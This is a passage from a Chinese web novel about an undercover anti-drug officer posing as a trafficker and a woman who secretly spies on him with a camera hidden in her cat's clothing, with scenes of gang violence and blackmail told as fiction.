沈宗野说:“我是怎么交代的?跟着我干,一不能沾毒,二不能明着违法,被警察盯上就是害了我们自己兄弟。” 李浩说他只是药物导致的,他平时没有这种胆子,他一定会戒。 地板上还有刚才打翻的水杯,玻璃碎片四处躺着。沈宗野可以想象梁然没有了包里那些防身工具,面对毒瘾上头的李浩有多无力,他知道她根本就不会格斗,也没有力气阻挡一个成年男性。 李浩不停对他磕头。 沈宗野慢吞吞把沉香串珠一圈一圈绕回手腕上,他抬起脚,黑色皮鞋轻挪着,将一些玻璃碎片扫到他脚下。他忽然按住李浩的脑袋,往碎片上狠狠一磕,又极优雅地松开手,抚了抚腹部坐出褶皱的黑色衬衫,穿过这片惨叫走出房门。 他对云肖留下话:“留他一条命是看你的面子。” 沈宗野走出尽头的铁门往楼梯上去。 谢天明跟在他身后:“这么做是不是太过了?我们是不是太狠了。” 他们知道沈宗野说出这句话后,云肖会自己看着办,以云肖狠毒的手段,李浩不死也得半残。 但是沈宗野无所谓结局的狠毒。 他说:“站在这里,你我都是毒贩。” 是啊,他们踩在隐蔽线上,这条路有多险只有他们知道。 他利用监狱里毒贩招供的这个角色来老单身边卧底,披着的这层外衣就是以狠毒出名,他不狠毒,那么就得他和谢天明去死,那么就得那么多缉毒警察去牺牲。 沈宗野回到办公室,他轻轻推开休息室的房门,但床上没有梁然的身影,卫生间里传出水花声,梁然的鞋放在门口。 第60章 第60章“是我小看她了。”…… 沈宗野退出房门,回到办公室,他无声地坐了一会儿,煮开一壶山泉水,取出茶叶来泡。 他泡的是梁然送他的勐库冰岛,她之前说他的声音像充满故事的生普。 沈宗野记得梁然说的很多话,他必须要把这些接近他的毒贩牢牢记住,才能确保他和谢天明的安全。茶泡好了,沈宗野单手捏住盖碗倒进公道杯里,但梁然依旧还没出来。 沈宗野起身去了房间,将他一件宽大的T恤挂到门把手上。 “梁然?洗完了就出来,先穿衣服。” 梁然没有回应,水花声仍响着。 沈宗野抿着薄唇,敲门。 梁然终于说:“你能进来吗?” 沈宗野微顿,推开门进去。 卫生间里水汽朦胧,梁然裹着浴巾看着镜子,长发滴着水,光脚站在地板上。小奶猫蹲在盥洗台上,也不管台面上湿乎乎地沾湿了它裙子,抬着小脑袋喵呜叫着陪梁然。 梁然说:“处理得怎么样?” “给你出气了。” 梁然沉默了一会儿,双眼黯然:“不知道这些伤痕多久才消。好丑,我一点也不喜欢。” 沈宗野看着那些伤,抓痕很深,变成一条条鲜红色。 他说:“出来吧,我帮你处理一下。” “你就不抱抱我吗?”梁然看着他。 朦胧的水汽已经渐渐散开,她干净的眼睛微微发红。 沈宗野拥住梁然,摸了摸她头发。 发生这样的事是他没约束好手下,不管梁然是一个好人还是一个毒贩,警察的职责都不允许她受这种伤害,他都会出手。 梁然将头埋在他肩膀上,紧紧抱着他。 “你会介意吗?” “这有什么好介意,我不会。” “那就好。沈宗野,其实我搞不懂自己的心,不管最开始我是抱着什么想法和你在一起,一天也好,一个月也好,到现在我都想说我爱上你了。” “我好像做不了我自己的主了,我做什么都会想到你,我……”梁然的声音有些无力,轻轻的颤抖,“我会全心全意和你站在一起,我会像你今天保护我这样去保护你。” 沈宗野眼眸暗沉。 什么意思? 难道梁然在接近他的过程中对他动了心? 沈宗野薄唇紧抿,梁然埋在他肩头,她的皮肤很烫,他衬衫有些湿濡,是她的眼泪浸了进去。 沈宗野:“别他妈哭了,他没睡成,老子也罚了他。我不喜欢哭哭啼啼的女人。” “嗯。”梁然的声音还带着哭过的鼻音,她吸口气说,“给我找件衣服吧,我先换衣服。” 沈宗野将挂在门上的T恤给她,走出了卫生间。 地板上有一圈血迹,被水渍晕染开,是沈宗野皮鞋上的。 梁然更加恐惧。 刚才李浩在劲头上说的是“宗哥都不要你了,你自己心里没点数”。 梁然冷静下来反复在猜,沈宗野发现了她是为了来找证据接近他的? 她实在觉得不太可能,如果沈宗野发现她是一个带着目的接近他的人,他肯定会刀她灭口啊,怎么会放任她这么平安无事。 李浩还说过“你伺候别人也是伺候”,这句话的别人有些不太像指沈宗野,那会是谁?向邬道吗? 她猜到了一个可能,会不会是她某一次去见向邬道时,沈宗野他们知道了,以为她是向邬道的人? 如果真的是这样,那他应该也会很恨她才对啊,他虽然在那方面始终没接受她,但他确实是喜欢她的。 他会在起风时给她带热饮。 他会在和她接吻时喘气。 他会在她被李浩欺负时救她。 他会对葡萄好,给葡萄买小零食。 如果他但凡有一点恨她,怎么会做到这些?如果他真的把她当做向邬道的同伙,怎么可能对她这么隐忍,他是一个狠毒的毒贩啊。 但梁然又无法确定李浩到底为什么会这么说。 她不能让沈宗野赶她走。 可惜他现在已经取得董自新的信任了,她对他还有什么价值? 梁然推门出去,沈宗野坐在办公室里,长桌上的闻香杯里蓄着茶,桌上有双氧水和药膏,沈宗野在沙发上坐着。 梁然在他身边坐下,他取过药:“自己撩衣服。” 梁然看着他,把宽大的T恤领口直接拉了下来。 沈宗野眼眸一沉,几乎是在0.1秒后飞快将她衣领往上挂住。 他眼睛有些薄怒:“这样就可以了。” 哪怕只是0.1秒,梁然也可以确信他是看见了。 但是这个男人居然可以做到面不改色。 他指腹沾了药涂在伤口上,另一条伤痕上双氧水往下滴淌,梁然说:“水都流进去了,帮我擦一下。”她的桃花眼里如同盛着春日的光。 沈宗野掀起眼皮:“梁然,我说了不会介意你,你别惹老子。” 沈宗野扯了纸巾给梁然,让她自己擦。 梁然弯了弯唇,扯开领口自己擦拭,她语气依旧低落,但是很自然:“我衣服都不能穿了,你这里也没有内衣,穿你的T恤好不舒服,这个面料好硬,我磨得有些痛。” 沈宗野睨了她一眼,将药擦完:“天明去给你买衣服了。” 没一会儿,谢天明已经在最近的服装店里买了女装回来。 附近是郊区,衣服不能太好,但梁然说了谢谢,回房间里换下。 材质普通的毛衣穿在梁然身上,质感好像都变得高级了。 沈宗野看了眼走出房间的梁然,把他的大衣给她披上。 他们回了公寓。 梁然坐在沙发上抱着葡萄,小猫喜欢舔她手指,她也时不时地亲着葡萄的小脸。 还没坐多久,门外就有人敲门,是云肖的声音。 云肖带着李浩来了,后面跟着两个人搀着李浩。 不是雨天,但李浩裹着皮质雨衣,云肖摘下他的帽子和口罩,青年面色惨白,一只眼睛蒙着纱布,嘴唇都在发抖。 他们把他松开,李浩瘫跪在地板上。 沈宗野端坐在沙发上,晃着白瓷杯里的茶。 葡萄好像在生气,发出呜噜呜噜的声音,龇起小牙齿。 李浩爬到沈宗野脚边,掏出所有的彩虹色小药丸,一袋袋放到沈宗野脚边。 “哥,我再也不敢了,我什么都听你的,今天就戒……” 谢天明连忙去把窗帘拉上,打开房间的灯。 云肖也跪下,说:“哥,浩子以后都干不了坏事了。” 他说他把李浩那里废了,李浩一只眼睛也被沈宗野那一下扎破了。 梁然无动于衷,起身回了她的公寓。 回到房间,梁然飞快给葡萄戴上摄像头,将它送回沈宗野这里。 云肖他们还在,几人见到她都不敢再冒犯,视线回避着。 梁然把葡萄放到沙发上,对沈宗野说:“我想睡一觉,你照看一下葡萄。” 沈宗野没说什么,长臂一揽,把猫抱到膝盖上,目光依旧疏冷地睨着跪在地上的云肖和李浩。 梁然回到房间,反锁上门打开软件。 画面里还是客厅,葡萄趴在沈宗野膝盖上,摄像头对着云肖他们。 事情好像说完了,云肖和李浩都不再说话。 画面里没有一点声音,好一会儿才传出沈宗野低沉的声音。 “去医院吧。” 云肖说谢谢哥,搀起李浩出了门。 客厅里应该只有沈宗野和谢天明了,谢天明说:“怎么会发生这种事情,他妈的李浩怎么敢,这是强。奸!” 梁然有些意外还能从他们这群毒贩嘴里听到这个词。 对他们来说像李浩这种行为难道不是早就见惯的吗? 谢天明:“还他妈吸毒,要是哪天被抓了,光他一个尿检我们一群人都要背时,脑壳有包!” 他说到后面竟然是川渝那里的方言,梁然有些诧异,原来谢天明是川渝人?他一口纯正的普通话,她之前都不知道他们是哪里人。 沈宗野说谢天明是他的表弟,那沈宗野也是川渝籍吗? 梁然继续听下去。 谢天明去拉开了窗帘,客厅里一瞬间透满阳光。 夕阳落满房间,把白墙染成玫瑰色。 沈宗野坐在客厅想事情。 谢天明问他:“你在想什么?” 沈宗野掀起眼皮摸着小猫的脑袋,葡萄好像很喜欢他和谢天明,一点也不抗拒他们。 这其实是一个危险的讯号,动物对于善恶好坏有它们世界里的感应方式,对他们亲昵其实不算什么好事。 但沈宗野这会儿想的不是这个,他是在想梁然说的那些话。 沈宗野摸着小猫脑袋,手掌忽然一顿,他看着葡萄的衣服。 还是刚才那件小衣服,肚子那里在工厂地面染脏了水泥,梁然刚才回去竟没有给小猫换。 沈宗野有些说不上来的异常。 他印象里梁然是个非常爱干净,甚至有些洁癖的人。 她怎么允许她的猫穿着脏衣服? “怎么了,你发现什么了?”谢天明凑过来问,沈宗野在摸葡萄的衣服。 沈宗野的表情非常冷静,即便还什么都没说,谢天明已经在他这种表情里读懂了他意思。 有异常。 门外响起敲门声,紧接着是梁然的声音:“是我,开开门。” 葡萄从沈宗野膝盖上欢快地跃下去,小尾巴扫啊扫。 沈宗野和谢天明对视一眼,起身去打开房门。 梁然说:“我还是睡不着,今天真的很憋屈。” 她的脸色非常自然,好像完全没有意识到他们在怀疑她的小猫。 沈宗野说:“浩子废了,你以后不用担心他,以后也没人敢招惹你。” 梁然沉默地看着他,将头埋在他胸膛抱了一会儿才说:“那我回去继续睡觉了。” 沈宗野点点头。 梁然退出大门,葡萄跟在她脚边,她连忙弯腰撸起猫。 谢天明将门关上,回头时沈宗野的脸色已经阴沉到极致。 沈宗野勾起薄唇笑了,但是眼睛里一点温度也没有:“真有意思,用猫来监视我,啧,是我小看她了。” 谢天明有一瞬间的惊恐:“什么,猫有监控?我刚才有说什么吗?” “卧槽,我说了我老家的方言!”谢天明有些自责。 沈宗野原本还在为中午的事觉得对梁然有愧,这会儿那点愧意也消失了。 身为警察,他们确实不该同情这些罪犯。 “你真发现摄像头了?” “刚才我摸到三颗纽扣,中间那颗格外大一圈,厚度也要厚一些,应该是个新型设备。”沈宗野刚才正准备拆的,但梁然已经快一步发现了。 他勾起薄唇,笑得有些意味深长:“她应该要有好戏给我了吧。” …… 对面公寓里,梁然抱着小猫长长地吁出一口气。 好险啊。 她刚才在监控里看到沈宗野检查葡萄身上的衣服,手掌遮到摄像头的一瞬间,她条件反射就冲来抱走猫了,幸好她反应快。 梁然举起葡萄上下瞧,葡萄的衣服上脏了一块。 那沈宗野应该只是注意到葡萄衣服弄脏了,不是怀疑她装了摄像头吧? 但梁然依旧还是有些惊魂未定,今天发生这样的事,她确实需要好好平复一下。 梁然给葡萄换下了脏衣服,小心帮它洗了个澡吹干,抱着葡萄一起睡觉。 只是她才刚准备入睡就接到陈沥周的电话。 望着这串号码,梁然有一瞬间的不想接听。 她不想让陈沥周再揪着这件事不放。 铃声响了好久梁然才接起。 陈沥周没有说话,梁然也觉得他莫名其妙,她声音冷淡:“你不说话那我挂了。” “你是不是早就知道沈宗野是毒贩?你瞒着我,在包庇他。”陈沥周这样问她。 梁然一惊。 “我听不明白你在说什么,我说过了,我男朋友是个正经人!” “梁然,你别挂,我在你家附近,我想见你。” 梁然不想跟陈沥周再拉扯这件事。 她也不知道陈沥周怎么会知道她住在哪儿。 陈沥周说不见到她不会离开。 梁然沉默瞬间,说了一家餐厅的地址,让他去那里等她。 她换了衣服出门,不想惊动沈宗野,葡萄只能就暂时留在家里。 夕阳沉入天的另一头,夜幕已经暗下来。 梁然来到了她约定的餐厅。【你现在阅读的是魔蝎小说 moxiexs】 60-70 第61章 第61章你这么漂亮 陈沥周已经订好一间包房等着梁然。 梁然进门,目光冷静地望着陈沥周,连坐下都不想,可来都来都,她想最后一次心平气和地和陈沥周说清楚。 陈沥周不再像前几天晚上那样激动,他的双眼沉静,可是收缩的瞳孔似乎有另外一种痛苦。 “你到底想怎么样?” 梁然说:“陈沥周,你对我的‘关心’显然已经超过了朋友的范围。我有男朋友,我并不想因为你的误会导致我和他的关系崩溃。” “希望你不要再追着这件事不放了,好吗?” “你看看这是什么。”陈沥周把一段视频递给梁然。 梁然点开小三角符号播放。 画面竟然是沈宗野公寓的客厅。 她猛地看向陈沥周,陈沥周眼里依旧藏着那份沉静的痛苦。 梁然盯着视频。 竟然就是今天下午那会儿云肖押着李浩过来给沈宗野和她赔罪时的画面。 视频看起来是从对面楼俯拍下来,看视频角度应该是在比他们高很多层的楼层拍的,而设备也用得非常专业,连李浩拿出来的一袋袋小药丸都拍得很清楚。 视频很短,在谢天明及时拉住窗帘后就停止了,不过这一幕已经算是铁证。 陈沥周:“你早就知道他是做什么的,是不是?” “你知道他在贩毒,还愿意跟他在一起,帮他隐瞒,是不是?” 这段视频看起来梁然没什么特别,可怪就怪在她看到那些小药丸很冷静,一点也不像个正常人初见毒。品时的害怕。陈沥周智商那么高,自然看出了端倪。 梁然看着陈沥周,他瞳孔缩着,表情痛苦,好像对她失望极了,也愤怒极了。 梁然逐渐冷静下来,她没法说真话,如果陈沥周把她暴露了,她和陈沥周都不会安全。这是她自己的事,她也绝不会让陈沥周阻拦她的脚步。 “我听不明白你在说什么,相反这段视频让我知道你在偷窥我们,你对我已经完全超出了朋友的界限,甚至让我觉得你很讨厌。”梁然语气淡漠。 陈沥周像是被她的话刺痛。 他说:“我没想偷窥你,我是在找证据想让你看清楚这个人是在犯罪,但是我没想到你早就知情!” “梁然,那是毒品啊,你知道毒品害了多少人吗?”陈沥周的眼眶红了,这个斯文儒雅的青年像一棵被雷击中的树,所有强撑的枝繁叶茂都在轰然间倒塌了。 “我妈妈是个很好很好的人,我爸爸也是一个老实规矩的人,可他们都被毒贩害了,那些贩毒的人从来不管别人的死活,他们……” “够了。你不要把你的痛苦强加给我。”梁然说,“我的父母没有你父母这么不幸,我也没有你这种经历,我理解不了你。而且我男朋友做的是线上网店的生意,跟毒品没有关系,希望你不要再偷窥我们的生活,否则,你再骚扰我我就报警了。” 梁然起身要离开。 “我以为你是个独立的、高知的,很有自己想法的女生。”陈沥周说。 “原来你们都这么会伪装,哈哈哈。”陈沥周笑了一阵,他的笑声悲苦、有浓浓的憎恶。 梁然何尝不知道他的痛苦呢。 她也曾经因为梁幸均的死这样痛,明明梁幸均是一个很好的人,他什么都没有做错,却被那些制。毒的水感染,一查出就是白血病晚期,只能等死。 他做错了什么?为了怀念沈茹搬离城市,守在那个不被城市节奏打扰的小村子,就是他的错吗? 梁然不想再听陈沥周的痛苦。 她怕她会控制不住流露她的这段痛。 只是她的脚步又被陈沥周的话绊住。 “解约吧,我不找你做我的私家园林,你不配。”陈沥周褐色的瞳仁空寂而冷漠,眼眶的红在冷静里慢慢消退。 梁然微顿,紧握着包:“好,我会安排人跟你对接,一切按你的要求来,设计费会退还给你。” “根据合同规定,你作为乙方有重大人品缺陷,你属于违约方,我会起诉你方违约,希望你方承担我的违约补偿。” 合同里是有这一项,若甲乙双方因个人不可抗力(包含公司风险,个人人品)的原因,可由一方提出解约,并赔付相应违约赔偿。只是当初他们关系很融洽,违约这一项根本没考虑进去,具体违约补偿的标准也没有写明。 但梁然冷静地说:“好,我会承担你的违约补偿,金额你可以跟我工作室商量,我都会答应你,你不用走起诉途径。” “我怕你赔不起。”陈沥周的声音已经不带温度。 梁然说:“没关系,只要你不走法律途径,你的要求我都答应。” “陈总还有别的问题吗?” 陈沥周冷冷地看着她,短短几天他见证到她找了一个贩毒的男友,又还可能和那人一起贩毒,就算她没有参与,她也实实在在存在包庇。这对他来说是一个不小的打击吧,毕竟那天他对她说他是喜欢她,很担心她。 梁然平静地注视他的视线,等着他的答复。 陈沥周冷冷挪开眼睛:“没有了,你不配。” “这段视频侵犯了我的肖像权益,那请陈总删掉吧。” 陈沥周勾起一抹冷笑,将视频删除了。 他回过头盯着梁然:“我会让你们这些人付出代价。” 梁然心上一沉。 她握了握包包手柄,转身走出包房。 早知道陈沥周这么难缠,她当初何必招惹他,接他的设计委托。 这是一个学历和智商都很高的人,梁然不认为她能和他斡旋多久。 开车离开时,梁然一路上都有些心绪不安。 夜幕降临,整座寒冷的北方城市这么寂静,明明街道上很多行人和车辆穿行,路灯把黑夜点得透亮,可还是一股空冷的错觉。 梁然想抽身了。 事情好像越来越复杂,早就超脱了她原先以为的困难程度,她现在不仅面临一个沈宗野,还有一个随时会打破她计划的陈沥周,加上看似把她当成朋友的向邬道,还有神秘的董自新。 如果和陈沥周联手呢,告诉他真相? 她不太想这样做,这个世界上靠谁都不如靠自己。 依靠别人,就必须要付出风险与代价。 梁然缓慢地开着车,不时留意着公寓里的监控。 葡萄单独在家,倒还算乖巧,偶尔会因为过道外传来的声音歪着脑袋跑去门后哇呜叫一声,好像察觉不是主人的脚步声,又可怜巴巴地跃上滑滑梯。 梁然将车停在路边,她想起了向邬道。 她下了车,拨通向邬道那家红酒店经理的号码。 “你好,向先生什么时候再来宁城旅游呢,好久没有见他了,我男朋友最近事业很顺利,很想感谢向先生之前提供给我的建议。” 梁然等着对方回答。 对方依旧还是说:“梁小姐,向先生生意很忙呢,他要是来了宁城我再联系您。” “好的,谢谢。” 梁然挂了电话,心情实在很糟糕。 不过事情本来就不会一帆顺风,她当初下决心接近沈宗野时不早就应该接受现在这个结果吗。 梁然回到公寓。 胸前的抓痕有些疼痛发痒,她才刚换下衣服,房门就被沈宗野敲响。 梁然打开门。 葡萄窜到她脚下,歪着脑袋瞅门外头,冒出一声乖巧的喵喵声。 沈宗野插着兜,扫了她脖子一眼。 毛衣遮着,她的伤口暂时看不见。 沈宗野说:“睡醒了?” “嗯,醒了一会儿了,被客户的电话叫醒了,就是之前你开车去一家餐厅接我,那天下雨,撑伞送我出来的那个年轻客户。”梁然淡笑着,语气自然,“真是烦死了,不让人好好睡觉,你还有印象吗?” “有啊,长得很英俊,看起来很有钱的那个男的。”沈宗野点了支烟,随口问,“怎么,他敢骚扰你?” “没有啊,你对他还有印象啊?” “当然了,你这么漂亮,你身边出现的男的老子总要多看一眼。”沈宗野吐出口烟。 梁然其实是想问沈宗野近期有没有看见过陈沥周。 毕竟陈沥周已经出现在「云上人间」和小区里盯着他们了,难道沈宗野就没有察觉吗?还是说陈沥周的智商太高明,做到了让沈宗野也无法察觉? “过来吃晚饭。”沈宗野说完,一只手捞起葡萄,一只手夹着烟回到对面公寓。 梁然和他们吃完饭后问沈宗野:“快到你生日了,你想要什么生日礼物啊?” 沈宗野懒洋洋的:“我对生日没什么概念,过一年老一岁,老子不爱过生日。” “生日还是要过的,这是你每年最特别的一天,我好好想想,到时候给你准备一份礼物。”梁然托着下巴,藏起那些忧虑,她笑着,“等你过完生日就是过年了,你不回老家过年吧?” “我老家哪儿啊?”沈宗野笑着问她。 梁然想说川渝啊。她在谢天明那里偷听到的。 可她转变很快,托腮说:“不是怀城吗?” 沈宗野笑:“还以为你知道我老家在怀城哪个区。” “那你回不回怀城?” “不回,我得呆在董叔这边。” 梁然点点头,抱着葡萄歪在沈宗野肩膀上:“那我也不回,我得呆在宗哥这边。” 沈宗野发出一声嗤笑。 …… 第二天,陈沥周的解约要求已经传达到了工作室那边。 乔思嘉给梁然打来电话,语气非常愤怒。 梁然昨晚便已经跟乔思嘉沟通了这件事,说是因为她的作品不够让陈沥周满意才致使陈沥周提出解约的,但乔思嘉很敏锐,她第一时间想到是不是梁然被陈沥周性。骚扰了。毕竟她和梁然两个人外表都太出色,干这行总碰到一些骚扰她们的甲方。 梁然昨晚解释只是单纯因为她的作品达不到陈沥周的要求,但乔思嘉没信。 这会儿,乔思嘉在电话里大骂:“我去他祖宗十八代!什么人啊,要赔偿他两千万!” 到手的六百万退回去了,还欠下他两千万。 梁然扶额,头疼地挑了挑眉。 陈沥周这个人还真是爱憎分明,他哪里来的合理条约让她赔两千万? “把合同给我看看。” 乔思嘉已经将解约合同发到她企业微信上,梁然点开浏览。 真不愧是高智商的学霸,这条违约赔偿写明四千万,但考虑双方都有对等付出,甲方还退了一步只需要她赔偿两千万。 “他助理给我打电话说是我们违约在先,要在一周之内履行赔偿条款,否则将起诉我们!你现在方便吗?” “什么?” “你方便的话我打个飞的过来跟你上门去骂他啊!”乔思嘉忿忿不平,“明明是他对你性。骚扰,还要你赔违约金!当初还以为他多优秀,我差点都想撮合你和他成一对,我真是眼睛瞎了。” 梁然说:“按他的要求赔吧,这是我欠他的,我会从我个人账户把这笔款打给公司。” “你什么意思啊?”乔思嘉问。 “是我办砸的事……” “不是,我是觉得你这次行为不对劲。”乔思嘉问,“然然,你老实交代,你和这个陈总到底怎么回事?” 梁然实在编不出合理的理由,尤其是对乔思嘉,她们两个人一起生活了这么久,她的性格乔思嘉很了解,能让她接受这么无理的要求,那一定是她自己做错了。 梁然还在头疼怎么回答乔思嘉的时候,乔思嘉忽然说:“不会是你和他谈恋爱了吧?但是你觉得他不行把他甩了,他才这么报复你?” “我擦,渣男,狗东西!”乔思嘉大骂陈沥周,这个结果才符合乔思嘉的脑洞,以及梁然的一切不合理行为。 “这种男的甩了好,报复心这么强。”乔思嘉心痛地呼吸,“两千万呜呜呜,没事,赔吧赔吧,咱掏空家底赔吧,只要你还在我身边,大不了我们再从头再来呜呜。” 梁然心里很愧疚。 葡萄好像知道她心情不好,靠在她身边闻闻贴贴,乖乖地任她顺着毛。 梁然和乔思嘉才回国多久,工作室经营起来不容易,最开始还能靠着梁幸均和乔父的人脉立住脚,如今全靠她们自己。建筑领域并不看好女性设计师,哪怕这是21世纪,她们每一步都走得不容易,公司账面上这一年多也只积攒下来这么多。 梁然说:“是我个人的问题,我私人出资弥补,你别跟我争了。”梁然笑了下,“我爸爸留给我的遗产也用不完。” 听到这里,乔思嘉更心疼起她,问她什么时候回南城。 挂了电话,梁然抱着葡萄走上滑滑梯。 她坐在上面发呆很久,才从滑滑梯上滑下来。 她坐到书房整理手边的信,已经有两封信没有寄出去了。 一封是谢天明在群里问轻松一号的截图。 一封是她打印出来的胸前的伤痕照片,加上她网盘里李浩向沈宗野承认以后不再碰毒的视频。 梁然把这些证据都上传到了云盘,同时也保存在信封里,邮寄后上面的邮戳日期都能算她保存证据的手段。 只是最近是因为担心陈沥周会跟踪她,她才没有及时出去邮寄。 身体和心情好像都很疲惫,梁然将信锁进柜子里,预约了银行,出门去办理汇款手续,又为即将到来的沈宗野的生日做准备。 回到公寓,沈宗野也已经下班回来了。 他最近往外面去得很勤,不是「云上人间」也不是去公司,梁然不知道沈宗野都在做什么。 梁然抱着葡萄坐在沙发上,小猫喜欢沈宗野这里的沙发,抓着沈宗野给的鱼肠在啃。 沈宗野问梁然:“伤口消了么?” “好多了。”梁然问,“你这两天很忙啊。” “还好。” “董叔让你做轻松一号的生意了?”梁然没按捺住,假装随意地问起。 沈宗野只是但笑不语,抽出一支烟点燃。 从泰国回来后他好像有些变了,对她没有那么心疼,明明之前他愿意照顾发烧的她,也会在凌晨两点给她煮面。 他抽的烟也都变得高档起来,青年骨节分明手指夹着一根细支长烟,下颔微昂,喉结吞吐,连吸烟的动作都变得优雅又恶痞。 梁然说:“好饿,我还没吃晚饭呢,突然想吃你之前给我煮的面了。” “那有什么好吃的。” “要看是谁煮的,是你煮的我就喜欢吃。”梁然的眼神明媚。 沈宗野嗤笑,将手上的烟抽完,慢斯条理杵灭火星,起身说给她做。 只是这时云肖过来了。 谢天明打开房门,云肖没进屋,站在门口看到梁然也在后,对沈宗野说:“哥,有个电话找你。” 云肖那里很少有电话找沈宗野,准确点是几乎没有。 沈宗野的手机24小时保持畅通,董自新找他会直接打给他,手底下的人找他,云肖也从来不会避讳梁然。 沈宗野知道这个电话不寻常。 他走出门。 谢天明很默契,坐到沙发上和梁然聊起葡萄。 “是乌鱼。” 过道上,云肖用嘴型对沈宗野说。 沈宗野眼皮一抬,云肖也用十分意外的眼神看他。 沈宗野眸光暗沉,扫了眼客厅的梁然,走到过道窗口接起电话。 第62章 第62章她是一个良家女 能接到向邬道的电话对沈宗野来说当然非常意外。 他们在立场上是对手,尤其是这趟董自新提过一次乌鱼来谈合作,他没有答应,这是董自新在警告沈宗野他的立场。 不过想起梁然的背景,沈宗野又不是这么意外了。 “小沈,好久不见啊。”电话里,那头醇厚的男声笑着。 沈宗野也笑:“邬哥?都没想到是您这位贵人。” 向邬道低懒地笑起:“跟着董爷忙么?” “我没听明白您的话。” “别装了,董爷留了你,你现在是他的人。”向邬道笑,“不知道董爷知道你在金边这么顺利,会不会直接把你剁了喂狗。” 沈宗野眼眸沉下来。 这趟泰国这么顺利,真的是向邬道在背后推了他一把。 沈宗野淡笑:“邬哥既然这么说了,那就直接点,你有什么条件?” “我早就知道你是聪明人,和老单那群贪生怕死的小弟不一样。”向邬道冷冷一声笑,说出了一个地址。 挂了电话,沈宗野回头看向房门。 向邬道已经没让梁然传达这些消息了,而是要亲自见他。 沈宗野回到房间换了套衣服。 梁然看出他要走,问:“是有急事?” “嗯。” “要不要我陪你啊?” 沈宗野盯着梁然。 这张脸漂亮不俗,气质贵到胜过许多人,从外表完全看不出是一个犯罪分子。 沈宗野低笑:“好啊,穿漂亮点。再把葡萄一起带上吧,让它也穿好看点。” 谢天明不动声色地看向沈宗野。 梁然高兴地抿着唇,抱起葡萄回对面公寓去换衣服。 谢天明说:“怎么要带她?乌鱼也没说带她啊。” “把她还给她的主人。”沈宗野冷淡地说。 梁然换了衣服出来,抱着穿着小裙子的葡萄和沈宗野坐上车。 坐在副驾驶的谢天明回头看了眼葡萄:“葡萄的裙子真好看。” 梁然说它是小公主嘛。 沈宗野摸了摸葡萄毛绒绒的脑袋,手掌不动声色摸到了葡萄衣服纽扣上的凸起。 他勾起薄唇。 梁然问:“是去哪啊?” “见一个人。” “你朋友?” “也不算朋友,算是我对手,他安排了一个人在我身边。” 梁然警惕起来:“谁?你已经发现了?” 沈宗野只笑不语。 车子经过路边一家甜品店,梁然望着橱窗里的生日蛋糕:“沈宗野,明天就是你的生日了,有什么想实现的生日愿望吗?” “你上次才问过我。” 沈宗野不把过生日看作一件特别的事,更何况他这个卧底身份本来就是假的,生日自然也不算他真正的生日。 梁然笑了笑,摸着葡萄的脑袋,温柔的声音像是和葡萄自言自语:“其实我们已经准备好了生日礼物哦,那就让某人等到明天生日吧。” 汽车一路平稳开到地方。 向邬道选的是一座山上的别墅。 旁边的霖山是座知名风景区,但傍晚这个点已经很少有再进山的游客。而向邬道选的别墅是在霖山背后一座无名的小山上,不需要进入景区,自然也不在监控范围。 夕阳西沉,橙色的晚霞笼罩在山头,冬季里刮起的山风有些冷冽。 有代步车在入口接他们。 但车停下时,来人只要沈宗野带一个人随行。 谢天明和云肖都想陪沈宗野一起。 但沈宗野选了梁然。 两个健壮的男人将他们领到山林隐藏的老旧别墅前。 梁然说这里的空气很好。 但葡萄似乎不太喜欢,咕噜咕噜响个不停。 梁然留意了眼两个男人,看起来都是很能打的人,平实的五官,生人勿进的气场,小猫察觉出来不善当然有些不喜欢。 梁然不知道沈宗野带她来见什么人,她挽住了沈宗野手臂。 门口里出来一个男人,睨着沈宗野说:“请吧,但她不可以进去。” 梁然不是那么意外。 不过沈宗野却有些诧异,回头看了眼梁然。 梁然说:“我在外面等你。” 沈宗野松开梁然的手,跟着男人进了大门。 夜幕降临,山里的气温低了很多,梁然在庭院里有些冷,但守在门口的两个男人和庭院里的人也都没有领她去休息室的意思,她只好抱着葡萄来回走动。 沈宗野见到了向邬道。 茶室里,对面端坐的男人抽着雪茄,他左手戴着黑色的皮质手套,见到沈宗野,淡然端坐朝他扬起笑,眼神却没什么温度。 屋里有严伟和一名健壮的男性。 向邬道:“按时赴约,还没带几个人来,你是有种的。” 沈宗野淡淡一笑。 严伟上前来搜沈宗野的身:“家伙交出来。” 沈宗野懒洋洋抬起手,很配合。 严伟把他的枪、手机、钥匙,包括有金属纽扣的外套全都拿到了外面的房间。 向邬道笑:“坐吧。” 沈宗野这才在他对面坐下。 向邬道丢给沈宗野一支雪茄,夹起烟,摘下了那只皮质手套。 他转着这只小拇指残疾的手:“能弄掉我一根手指头的人,我果真没看错。” 沈宗野低笑,眼神也冷:“如果我没猜错,你把我路都堵死了。”他点燃雪茄,靠进椅背里,“说吧,你想做什么。” 向邬道的眼神有了些兴奋:“你够聪明。我挺纳闷像董爷那样的人物怎么不信任我,偏偏信你。” 沈宗野不说话。 他没必要开口追着问,向邬道把他叫到这里,就有办法断了他在董自新那里的活路。他吞吐着烟,任向邬道用沉默的攻心计吊着他,直到向邬道被这他无所谓的冷静惹怒,皮笑肉不笑地忍着薄怒对他说明来意。 向邬道要他当卧底,替他们收集董自新那边的消息。 沈宗野笑了:“如果老子不干呢?” 向邬道无所谓地耸耸肩:“那你就正常回去,看看董爷是信你还是信我。” 屋里有巨屏电视机,严伟打开屏幕,画面里的女人很漂亮,漂亮到五官和身材在这么宽的屏幕比例下也优越到完美。 屏幕里是进出在向邬道红酒店的梁然,和向邬道有说有笑。 “不知道董爷知道你身边的女朋友常来我这儿,还会不会信你。” 屏幕里又播放起下一个画面,是李浩在一家酒吧里喝大了,和向邬道的人一起吸药,两人像称兄道弟一般。视频里的男人正是这会儿站在向邬道后面的健壮男人。 向邬道笑:“你别误会,你的小弟可不是我的人,这种蠢货我没买通,他都不知道对面的人是谁就和人家称兄道弟。小沈,我想把你搞死很简单的事。” 画面又变成在泰国的时候老九的卡车陷在山上了,还是向邬道这名手下过来帮他,老九亲热地喊人家王哥。 沈宗野神情没什么变化。 他早就知道泰国这一趟太顺利,必定有计在等他。 他颇为无奈:“邬哥还做了什么?” “多着呢。” “既然邬哥也想在董叔那里分一杯羹,明明梁然也能帮你找到观音像,为什么当初把观音像给我?” 向邬道只是淡笑:“董爷让你碰轻松一号了吗?” “还没有。”沈宗野有些不解。 这趟去泰国,他摸索到董自新不仅有轻松一号的生意,还有其他一型毒。品,但为什么向邬道在意的是轻松一号? “放心,董爷会让你替他好好干。” 